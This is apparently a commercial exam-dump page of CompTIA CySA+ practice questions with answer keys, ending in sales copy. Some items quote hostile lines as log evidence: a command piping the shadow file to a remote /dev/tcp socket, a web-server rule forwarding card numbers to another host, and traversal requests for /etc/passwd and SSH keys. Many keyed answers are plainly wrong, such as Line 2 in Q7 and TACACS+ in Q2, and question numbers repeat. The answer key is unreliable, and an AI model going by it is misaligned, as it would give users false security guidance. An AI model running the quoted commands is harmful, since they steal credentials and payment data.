CompTIA

Exam Questions CS0-002

CompTIA Cybersecurity Analyst (CySA+) Certification Exam

NEW QUESTION 1
An analyst is participating in the solution analysis process for a cloud-hosted SIEM platform to centralize log monitoring and alerting capabilities in the SOC. Which of the following is the BEST approach for supply chain assessment when selecting a vendor?

A. Gather information from providers, including datacenter specifications and copies of audit reports.
B. Identify SLA requirements for monitoring and logging.
C. Consult with senior management for recommendations.
D. Perform a proof of concept to identify possible solutions.

Answer: B

NEW QUESTION 2
A security analyst conducted a risk assessment on an organization's wireless network and identified a high-risk element in the implementation of data confidentially protection. Which of the following is the BEST technical security control to mitigate this risk?

A. Switch to RADIUS technology
B. Switch to TACACS+ technology.
C. Switch to 802 IX technology
D. Switch to the WPA2 protocol.

Answer: B

NEW QUESTION 3
Which of the following should be found within an organization's acceptable use policy?

A. Passwords must be eight characters in length and contain at least one special character.
B. Customer data must be handled properly, stored on company servers, and encrypted when possible
C. Administrator accounts must be audited monthly, and inactive accounts should be removed.
D. Consequences of violating the policy could include discipline up to and including termination.

Answer: D

NEW QUESTION 4
A security administrator needs to create an IDS rule to alert on FTP login attempts by root. Which of the following rules is the BEST solution?

```
A. alert udp any any ——> root any ——> 21

B. alert tcp any any ——> any 21 (content:"root")

C. alert tcp any any ——> any root 21

D. alert tcp any any ——> any root (content:"ftp")
```

A. Option A
B. Option B
C. Option C
D. Option D

Answer: B

NEW QUESTION 5
The inability to do remote updates of certificates. keys software and firmware is a security issue commonly associated with:

A. web servers on private networks.
B. HVAC control systems
C. smartphones
D. firewalls and UTM devices

Answer: B

NEW QUESTION 6
A security analyst has been alerted to several emails that snow evidence an employee is planning malicious activities that involve employee Pll on the network before leaving the organization. The security analysis BEST response would be to coordinate with the legal department and:

A. the public relations department
B. senior leadership
C. law enforcement
D. the human resources department

Answer: D

NEW QUESTION 7
During a routine log review, a security analyst has found the following commands that cannot be identified from the Bash history log on the root user.

```
Line 1 logger keeping track of my activity
Line 2 tail -1 /vvar/log/syslog
Line 3 lvextend -L +50G /dev/volg1/secret
Line 4 rm -rf1 /tmp/DFt5Gsd3
Line 5 cat /etc/s*w > /dev/tcp/10.0.0.1/8080
Line 6 yum install httpd --assumeyes
```

Which of the following commands should the analyst investigate FIRST?

A. Line 1
B. Line 2
C. Line 3
D. Line 4
E. Line 5
F. Line 6

Answer: B

NEW QUESTION 8
Which of the following MOST accurately describes an HSM?

A. An HSM is a low-cost solution for encryption.
B. An HSM can be networked based or a removable USB
C. An HSM is slower at encrypting than software
D. An HSM is explicitly used for MFA

Answer: A

NEW QUESTION 9
A security analyst suspects a malware infection was caused by a user who downloaded malware after clicking http://<malwaresource>/a.php in a phishing email. To prevent other computers from being infected by the same malware variation, the analyst should create a rule on the.

A. email server that automatically deletes attached executables.
B. IDS to match the malware sample.
C. proxy to block all connections to <malwaresource>.
D. firewall to block connection attempts to dynamic DNS hosts.

Answer: C

NEW QUESTION 10
An organization was alerted to a possible compromise after its proprietary data was found for sale on the Internet. An analyst is reviewing the logs from the next-generation UTM in an attempt to find evidence of this breach. Given the following output:

Src IP	Src DNS	Dst IP	Dst DNS	Port	Application
10.50.50.121	83hht23.org-int.org	8.8.8.8	google...dns-a.google.com	53	DNS
10.50.50.121	83hht23.org-int.org	77.88.55.66	yandex.ru	443	HTTPS
172.16.52.20	webserver.org-dmz.org	131.52.88.45	--	53	DNS
10.100.10.45	appserver.org-int.org	69.134.21.90	repo.its.utk.edu	21	FTP
172.16.52.20	webserver.org-dmz.org	131.52.88.45	--	10999	HTTPS
172.16.52.100	sftp.org-dmz.org	62.30.221.56	ftps.bluemed.net	42991	SSH
172.16.52.20	webserver.org-dmz.org	131.52.88.45	--	10999	HTTPS

Which of the following should be the focus of the investigation?

A. webserver.org-dmz.org
B. sftp.org-dmz.org
C. 83hht23.org-int.org
D. ftps.bluemed.net

Answer: A

NEW QUESTION 10
A security analyst is reviewing the following log from an email security service.

```
Rejection type:           Drop
Rejection description:     IP found in RBL
Event time:               Today at 16:06
Rejection information:    mail.comptia.org
                          https://www.spamfilter.org/query?P=192.167.28.243
From address:             user@comptex.org
To address:               tests@comptia.org
IP address:               192.167.28.243
Remote server name:       192.167.28.243
```

Which of the following BEST describes the reason why the email was blocked?

A. The To address is invalid.
B. The email originated from the www.spamfilter.org URL.
C. The IP address and the remote server name are the same.
D. The IP address was blacklisted.
E. The From address is invalid.

Answer: D

NEW QUESTION 12

A cyber-incident response analyst is investigating a suspected cryptocurrency miner on a company's server. Which of the following is the FIRST step the analyst should take?

A. Create a full disk image of the server's hard drive to look for the file containing the malware.
B. Run a manual antivirus scan on the machine to look for known malicious software.
C. Take a memory snapshot of the machine to capture volatile information stored in memory.
D. Start packet capturing to look for traffic that could be indicative of command and control from the miner.

Answer: D

NEW QUESTION 13

A compliance officer of a large organization has reviewed the firm's vendor management program but has discovered there are no controls defined to evaluate third-party risk or hardware source authenticity. The compliance officer wants to gain some level of assurance on a recurring basis regarding the implementation of controls by third parties.
Which of the following would BEST satisfy the objectives defined by the compliance officer? (Choose two.)

A. Executing vendor compliance assessments against the organization's security controls
B. Executing NDAs prior to sharing critical data with third parties
C. Soliciting third-party audit reports on an annual basis
D. Maintaining and reviewing the organizational risk assessment on a quarterly basis
E. Completing a business impact assessment for all critical service providers
F. Utilizing DLP capabilities at both the endpoint and perimeter levels

Answer: AC

NEW QUESTION 17

Which of the following technologies can be used to house the entropy keys for disk encryption on desktops and laptops?

A. Self-encrypting drive
B. Bus encryption
C. TPM
D. HSM

Answer: A

NEW QUESTION 18

A security analyst is reviewing the following log entries to identify anomalous activity:

```
GET https://comptia.org/admin/login.html&user&password\ HTTP/1.1
GET http://comptia.org/index.php\ HTTP/1.1
GET http://comptia.org/scripts/..%5c../Windows/System32/cmd.exe?/C+dir+c:\ HTTP/1.1
GET http://comptia.org/media/contactus.html\ HTTP/1.1
```

Which of the following attack types is occurring?

A. Directory traversal
B. SQL injection
C. Buffer overflow
D. Cross-site scripting

Answer: A

NEW QUESTION 21

An organization that handles sensitive financial information wants to perform tokenization of data to enable the execution of recurring transactions. The organization is most interested in a secure, built-in device to support its solution. Which of the following would MOST likely be required to perform the desired function?

A. TPM
B. eFuse
C. FPGA
D. HSM
E. UEFI

Answer: D

NEW QUESTION 25
An information security analyst observes anomalous behavior on the SCADA devices in a power plant. This behavior results in the industrial generators overheating and destabilizing the power supply.
Which of the following would BEST identify potential indicators of compromise?

A. Use Burp Suite to capture packets to the SCADA device's IP.
B. Use tcpdump to capture packets from the SCADA device IP.
C. Use Wireshark to capture packets between SCADA devices and the management system.
D. Use Nmap to capture packets from the management system to the SCADA devices.

Answer: C

NEW QUESTION 30
A pharmaceutical company's marketing team wants to send out notifications about new products to alert users of recalls and newly discovered adverse drug reactions. The team plans to use the names and mailing addresses that users have provided.
Which of the following data privacy standards does this violate?

A. Purpose limitation
B. Sovereignty
C. Data minimization
D. Retention

Answer: A

NEW QUESTION 32
An analyst identifies multiple instances of node-to-node communication between several endpoints within the 10.200.2.0/24 network and a user machine at the IP address 10.200.2.5. This user machine at the IP address 10.200.2.5 is also identified as initiating outbound communication during atypical business hours with several IP addresses that have recently appeared on threat feeds.
Which of the following can be inferred from this activity?

A. 10.200.2.0/24 is infected with ransomware.
B. 10.200.2.0/24 is not routable address space.
C. 10.200.2.5 is a rogue endpoint.
D. 10.200.2.5 is exfiltrating data.

Answer: D

NEW QUESTION 33
Which of the following sets of attributes BEST illustrates the characteristics of an insider threat from a security perspective?

A. Unauthorized, unintentional, benign
B. Unauthorized, intentional, malicious
C. Authorized, intentional, malicious
D. Authorized, unintentional, benign

Answer: C

NEW QUESTION 36
For machine learning to be applied effectively toward security analysis automation, it requires.

A. relevant training data.
B. a threat feed API.
C. a multicore, multiprocessor system.
D. anomalous traffic signatures.

Answer: A

NEW QUESTION 40
The computer incident response team at a multinational company has determined that a breach of sensitive data has occurred in which a threat actor has compromised the organization's email system. Per the incident response procedures, this breach requires notifying the board immediately. Which of the following would be the BEST method of communication?

A. Post of the company blog
B. Corporate-hosted encrypted email
C. VoIP phone call
D. Summary sent by certified mail
E. Externally hosted instant message

Answer: C

NEW QUESTION 43
A security analyst discovers accounts in sensitive SaaS-based systems are not being removed in a timely manner when an employee leaves the organization To BEST resolve the issue, the organization should implement

A. federated authentication
B. role-based access control.
C. manual account reviews

D. multifactor authentication.

Answer: A

NEW QUESTION 46
An organization has not had an incident for several months. The Chief Information Security Officer (CISO) wants to move to a more proactive stance for security investigations. Which of the following would BEST meet that goal?

A. Root-cause analysis
B. Active response
C. Advanced antivirus
D. Information-sharing community
E. Threat hunting

Answer: E

NEW QUESTION 47
An information security analyst is working with a data owner to identify the appropriate controls to preserve the confidentiality of data within an enterprise environment One of the primary concerns is exfiltration of data by malicious insiders Which of the following controls is the MOST appropriate to mitigate risks?

A. Data deduplication
B. OS fingerprinting
C. Digital watermarking
D. Data loss prevention

Answer: D

NEW QUESTION 52
A security analyst is trying to determine if a host is active on a network. The analyst first attempts the following:

```
$ ping 192.168.1.4
PING 192.168.1.4 (192.168.1.4): 56 data bytes
--- 192.168.1.4 ping statistics ---
4 packets transmitted, 0 packets received, 100.0% packet loss
```

The analyst runs the following command next:

```
$ sudo hping3 -c 4 -n -i 192.168.1.4
HPING 192.168.1.4 (en1 192.168.1.4): NO FLAGS are set, 40 headers + 0 data bytes
len=46 ip=192.168.1.4 ttl=64 id=32101 sport=0 flags=RA seq=0 win=0 rtt=0.4ms
len=46 ip=192.168.1.4 ttl=64 id=32102 sport=0 flags=RA seq=1 win=0 rtt=0.3ms
len=46 ip=192.168.1.4 ttl=64 id=22103 sport=0 flags=RA seq=2 win=0 rtt=0.4ms
len=46 ip=192.168.1.4 ttl=64 id=32104 sport=0 flags=RA seq=3 win=0 rtt=0.4ms
--- 10.0.1.33 hpaing statistic ---
4 packets transmitted, 4 packets received, 0% packet loss
```

Which of the following would explain the difference in results?

A. ICMP is being blocked by a firewall.
B. The routing tables for ping and hping3 were different.
C. The original ping command needed root permission to execute.
D. hping3 is returning a false positive.

Answer: A

NEW QUESTION 53
A cybersecurity analyst needs to rearchitect the network using a firewall and a VPN server to achieve the highest level of security To BEST complete this task, the analyst should place the:

A. firewall behind the VPN server
B. VPN server parallel to the firewall
C. VPN server behind the firewall
D. VPN on the firewall

Answer: B

NEW QUESTION 55
Because some clients have reported unauthorized activity on their accounts, a security analyst is reviewing network packet captures from the company's API server. A portion of a capture file is shown below:
POST /services/v1_0/Public/Members.svc/soap <s:Envelope+xmlns:s="http://schemas.s/soap/envelope/ "><s:Body><GetIPLocation+xmlns="http://tempuri.org/">
<request+xmlns:a="http://schemas.somesite.org"+xmlns:i="http://www.w3.org/2001/XMLSchema-instance "></s:Body></s:Envelope> 192.168.1.22 - -
api.somesite.com 200 0 1006 1001 0 192.168.1.22
POST /services/v1_0/Public/Members.svc/soap
<<a:Password>Password123</a:Password><a:ResetPasswordToken+i:nil="true"/>
<a:ShouldImpersonatedAuthenticationBePopulated+i:nil="true"/><a:Username>somebody@companyname.com 192.168.5.66 - - api.somesite.com 200 0 11558
1712 2024 192.168.4.89
POST /services/v1_0/Public/Members.svc/soap <s:Envelope+xmlns:s="
http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetIPLocation+xmlns="http://tempuri.org/">

<a:IPAddress>516.7.446.605</a:IPAddress><a:ZipCode+i:nil="true"/></request></GetIPLocation></s:Body>< 192.168.1.22 - - api.somesite.com 200 0 1003 1011
307 192.168.1.22
POST /services/v1_0/Public/Members.svc/soap <s:Envelope+xmlns:s="
http://schemas.xmlsoap.org/soap/envelope/"><s:Body><IsLoggedIn+xmlns="http://tempuri.org/">
<request+xmlns:a="http://schemas.datacontract.org/2004/07/somesite.web+xmlns:i="
http://www.w3.org/2001/XMLSchema-instance"><a:Authentication>
<a:ApiToken>kmL4krg2CwwWBan5BReGv5Djb7syxXTNKcWFuSjd</a:ApiToken><a:ImpersonateUserId>0
<a:NetworkId>4</a:NetworkId><a:ProviderId>''1=1</a:ProviderId><a:UserId>13026046</a:UserId></a:Authe 192.168.5.66 - - api.somesite.com 200 0 1378 1209
48 192.168.4.89
Which of the following MOST likely explains how the clients' accounts were compromised?

A. The clients' authentication tokens were impersonated and replayed.
B. The clients' usernames and passwords were transmitted in cleartext.
C. An XSS scripting attack was carried out on the server.
D. A SQL injection attack was carried out on the server.

Answer: A

NEW QUESTION 60
A security analyst for a large financial institution is creating a threat model for a specific threat actor that is likely targeting an organization's financial assets.
Which of the following is the BEST example of the level of sophistication this threat actor is using?

A. Social media accounts attributed to the threat actor
B. Custom malware attributed to the threat actor from prior attacks
C. Email addresses and phone numbers tied to the threat actor
D. Network assets used in previous attacks attributed to the threat actor
E. IP addresses used by the threat actor for command and control

Answer: D

NEW QUESTION 65
Which of the following technologies can be used to store digital certificates and is typically used in high-security implementations where integrity is paramount?

A. HSM
B. eFuse
C. UEFI
D. Self-encrypting drive

Answer: A

NEW QUESTION 69
A security analyst is responding to an incident on a web server on the company network that is making a large number of outbound requests over DNS Which of
the following is the FIRST step the analyst should take to evaluate this potential indicator of compromise'?

A. Run an anti-malware scan on the system to detect and eradicate the current threat
B. Start a network capture on the system to look into the DNS requests to validate command and control traffic.
C. Shut down the system to prevent further degradation of the company network
D. Reimage the machine to remove the threat completely and get back to a normal running state.
E. Isolate the system on the network to ensure it cannot access other systems while evaluation is underway.

Answer: A

NEW QUESTION 73
A security analyst was alerted to a tile integrity monitoring event based on a change to the vhost-paymonts .c onf file The output of the diff command against the
known-good backup reads as follows

```
SecRule ARGS:Card "@rx ([0-9]+)" "id:123456,pass,capture,proxy:https://10.0.0.128/%{matched_var},nolog,noauditlog"
```

Which of the following MOST likely occurred?

A. The file was altered to accept payments without charging the cards
B. The file was altered to avoid logging credit card information
C. The file was altered to verify the card numbers are valid.
D. The file was altered to harvest credit card numbers

Answer: A

NEW QUESTION 75
A developer wrote a script to make names and other PII data unidentifiable before loading a database export into the testing system Which of the following
describes the type of control that is being used?

A. Data encoding
B. Data masking
C. Data loss prevention
D. Data classification

Answer: C

NEW QUESTION 80
A security analyst has observed several incidents within an organization that are affecting one specific piece of hardware on the network. Further investigation reveals the equipment vendor previously released a patch.
Which of the following is the MOST appropriate threat classification for these incidents?

A. Known threat
B. Zero day
C. Unknown threat
D. Advanced persistent threat

Answer: B

NEW QUESTION 84
A network attack that is exploiting a vulnerability in the SNMP is detected. Which of the following should the cybersecurity analyst do FIRST?

A. Apply the required patches to remediate the vulnerability.
B. Escalate the incident to senior management for guidance.
C. Disable all privileged user accounts on the network.
D. Temporarily block the attacking IP address.

Answer: A

NEW QUESTION 88
A cybersecurity analyst is supporting an incident response effort via threat intelligence. Which of the following is the analyst MOST likely executing?

A. Requirements analysis and collection planning
B. Containment and eradication
C. Recovery and post-incident review
D. Indicator enrichment and research pivoting

Answer: A

NEW QUESTION 92
A team of security analysts has been alerted to potential malware activity. The initial examination indicates one of the affected workstations is beaconing on TCP port 80 to five IP addresses and attempting to spread across the network over port 445. Which of the following should be the team's NEXT step during the detection phase of this response process?

A. Escalate the incident to management, who will then engage the network infrastructure team to keep them informed.
B. Depending on system criticality, remove each affected device from the network by disabling wired and wireless connections.
C. Engage the engineering team to block SMB traffic internally and outbound HTTP traffic to the five IP addresses.
D. Identify potentially affected systems by creating a correlation search in the SIEM based on the network traffic.

Answer: D

NEW QUESTION 95
During an investigation, an incident responder intends to recover multiple pieces of digital media. Before removing the media, the responder should initiate:

A. malware scans.
B. secure communications.
C. chain of custody forms.
D. decryption tools.

Answer: C

NEW QUESTION 98
A security analyst is providing a risk assessment for a medical device that will be installed on the corporate network. During the assessment, the analyst discovers the device has an embedded operating system that will be at the end of its life in two years. Due to the criticality of the device, the security committee makes a risk-based policy decision to review and enforce the vendor upgrade before the end of life is reached.
Which of the following risk actions has the security committee taken?

A. Risk exception
B. Risk avoidance
C. Risk tolerance
D. Risk acceptance

Answer: D

NEW QUESTION 100
An audit has revealed an organization is utilizing a large number of servers that are running unsupported operating systems.
As part of the management response phase of the audit, which of the following would BEST demonstrate senior management is appropriately aware of and addressing the issue?

A. Copies of prior audits that did not identify the servers as an issue
B. Project plans relating to the replacement of the servers that were approved by management
C. Minutes from meetings in which risk assessment activities addressing the servers were discussed
D. ACLs from perimeter firewalls showing blocked access to the servers
E. Copies of change orders relating to the vulnerable servers

Answer: C

NEW QUESTION 101
The help desk noticed a security analyst that emails from a new email server are not being sent out. The new email server was recently to the existing ones. The analyst runs the following command on the new server.

```
nslookup -type=txt exampledomain.org

"v=spf1 ip4:72.56.48.0/28 -all"

...
```

Given the output, which of the following should the security analyst check NEXT?

A. The DNS name of the new email server
B. The version of SPF that is being used
C. The IP address of the new email server
D. The DMARC policy

Answer: B

NEW QUESTION 106
A security analyst, who is working for a company that utilizes Linux servers, receives the following results from a vulnerability scan:

CVE ID	CVSS Base	Name
CVE-1999-0524	None	ICMP timestamp request remote date disclosure
CVE-1999-0497	5.0	Anonymous FTP enabled
None	7.5	Unsupported web server detection
CVE-2005-2150	5.0	Windows SMB service enumeration via \srvsvc

Which of the following is MOST likely a false positive?

A. ICMP timestamp request remote date disclosure
B. Windows SMB service enumeration via \srvsvc
C. Anonymous FTP enabled
D. Unsupported web server detection

Answer: B

NEW QUESTION 111
A cybersecurity analyst is contributing to a team hunt on an organization's endpoints. Which of the following should the analyst do FIRST?

A. Write detection logic.
B. Establish a hypothesis.
C. Profile the threat actors and activities.
D. Perform a process analysis.

Answer: C

NEW QUESTION 115
As part of an exercise set up by the information security officer, the IT staff must move some of the network systems to an off-site facility and redeploy them for testing. All staff members must ensure their respective systems can power back up and match their gold image. If they find any inconsistencies, they must formally document the information.
Which of the following BEST describes this test?

A. Walk through
B. Full interruption
C. Simulation
D. Parallel

Answer: C

NEW QUESTION 117
During an investigation, a security analyst determines suspicious activity occurred during the night shift over the weekend. Further investigation reveals the activity was initiated from an internal IP going to an external website.
Which of the following would be the MOST appropriate recommendation to prevent the activity from happening in the future?

A. An IPS signature modification for the specific IP addresses
B. An IDS signature modification for the specific IP addresses
C. A firewall rule that will block port 80 traffic
D. A firewall rule that will block traffic from the specific IP addresses

Answer: D

NEW QUESTION 118
When attempting to do a stealth scan against a system that does not respond to ping, which of the following Nmap commands BEST accomplishes that goal?

A. nmap –sA –O <system> -noping
B. nmap –sT –O <system> -P0
C. nmap –sS –O <system> -P0

D. nmap –sQ –O <system> -P0

Answer: C

NEW QUESTION 123
An incident responder successfully acquired application binaries off a mobile device for later forensic analysis. Which of the following should the analyst do NEXT?

A. Decompile each binary to derive the source code.
B. Perform a factory reset on the affected mobile device.
C. Compute SHA-256 hashes for each binary.
D. Encrypt the binaries using an authenticated AES-256 mode of operation.
E. Inspect the permissions manifests within each application.

Answer: C

NEW QUESTION 124
An information security analyst is reviewing backup data sets as part of a project focused on eliminating archival data sets.
Which of the following should be considered FIRST prior to disposing of the electronic data?

A. Sanitization policy
B. Data sovereignty
C. Encryption policy
D. Retention standards

Answer: D

NEW QUESTION 129
During an incident, a cybersecurity analyst found several entries in the web server logs that are related to an IP with a bad reputation . Which of the following would cause the analyst to further review the incident?
A)

    BadReputationIp - - [2019-04-12 10:43Z] "GET /etc/passwd" 403 1023

B)

    BadReputationIp - - [2019-04-12 10:43Z] "GET /index.html?src=../.ssh/id_rsa" 401 17044

C)

    BadReputationIp - - [2019-04-12 10:43Z] "GET /a.php?src=/etc/passwd" 403 11056

D)

    BadReputationIp - - [2019-04-12 10:43Z] "GET /a.php?src=../../.ssh/id_rsa" 200 15036

E)

    BadReputationIp - - [2019-04-12 10:43Z] "GET /favicon.ico?src=../usr/share/icons" 200 19064

A. Option A
B. Option B
C. Option C
D. Option D
E. Option E

Answer: D

NEW QUESTION 134
As part of a merger with another organization, a Chief Information Security Officer (CISO) is working with an assessor to perform a risk assessment focused on data privacy compliance. The CISO is primarily concerned with the potential legal liability and fines associated with data privacy. Based on the CISO's concerns, the assessor will MOST likely focus on:

A. qualitative probabilities.
B. quantitative probabilities.
C. qualitative magnitude.
D. quantitative magnitude.

Answer: D

NEW QUESTION 139
Joe, a penetration tester, used a professional directory to identify a network administrator and ID administrator for a client's company. Joe then emailed the network administrator, identifying himself as the ID administrator, and asked for a current password as part of a security exercise. Which of the following techniques were used in this scenario?

A. Enumeration and OS fingerprinting
B. Email harvesting and host scanning
C. Social media profiling and phishing
D. Network and host scanning

Answer: C

NEW QUESTION 140
A security team is implementing a new vulnerability management program in an environment that has a historically poor security posture. The team is aware of issues patch management in the environment and expects a large number of findings. Which of the following would be the MOST efficient way to increase the security posture of the organization in the shortest amount of time?

A. Create an SLA stating that remediation actions must occur within 30 days of discovery for all levels of vulnerabilities.
B. Incorporate prioritization levels into the remediation process and address critical findings first.
C. Create classification criteria for data residing on different servers and provide remediation only for servers housing sensitive data.
D. Implement a change control policy that allows the security team to quickly deploy patches in the production environment to reduce the risk of any vulnerabilities found.

Answer: B

NEW QUESTION 142
A small electronics company decides to use a contractor to assist with the development of a new FPGA-based device. Several of the development phases will occur off-site at the contractor's labs.
Which of the following is the main concern a security analyst should have with this arrangement?

A. Making multiple trips between development sites increases the chance of physical damage to the FPGAs.
B. Moving the FPGAs between development sites will lessen the time that is available for security testing.
C. Development phases occurring at multiple sites may produce change management issues.
D. FPGA applications are easily cloned, increasing the possibility of intellectual property theft.

Answer: B

NEW QUESTION 144
A system's authority to operate (ATO) is set to expire in four days. Because of other activities and limited staffing, the organization has neglected to start reauthentication activities until now. The cybersecurity group just performed a vulnerability scan with the partial set of results shown below:

```
-----
Scan Host: 192.168.1.13
15-Jan-16 08:12:10.1 EDT

Vulnerability CVE-2015-1635
HTTP.sys in Microsoft Windows 7 SP1, Windows Server 2008 R2 SP1, Windows 8,
Windows 8.1 and Windows Server 2012 allows remote attackers to execute
arbitrary code via crafted HTTP requests, aka "HTTP.sys remote code execution
vulnerability"

Severity: 10.0 (high)

Expected Result: enforceHTTPValidation='enabled';
Current Value: enforceHTTPValidation=enabled;

Evidence:
C:\%system%\Windows\config\web.config
-----
```

Based on the scenario and the output from the vulnerability scan, which of the following should the security team do with this finding?

A. Remediate by going to the web config file, searching for the enforce HTTP validation setting, and manually updating to the correct setting.
B. Accept this risk for now because this is a "high" severity, but testing will require more than the four days available, and the system ATO needs to be competed.
C. Ignore i
D. This is false positive, and the organization needs to focus its efforts on other findings.
E. Ensure HTTP validation is enabled by rebooting the server.

Answer: A

NEW QUESTION 147
An organization has several system that require specific logons Over the past few months, the security analyst has noticed numerous failed logon attempts followed by password resets. Which of the following should the analyst do to reduce the occurrence of legitimate failed logons and password resets?

A. Use SSO across all applications
B. Perform a manual privilege review
C. Adjust the current monitoring and logging rules
D. Implement multifactor authentication

Answer: B

NEW QUESTION 151
......

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questons and Answers in PDF Format

CS0-002 Practice Exam Features:

* CS0-002 Questions and Answers Updated Frequently

* CS0-002 Practice Questions Verified by Expert Senior Certified Staff

* CS0-002 Most Realistic Questions that Guarantee you a Pass on Your FirstTry

* CS0-002 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year

100% Actual & Verified — Instant Download, Please Click
Order The CS0-002 Practice Test Here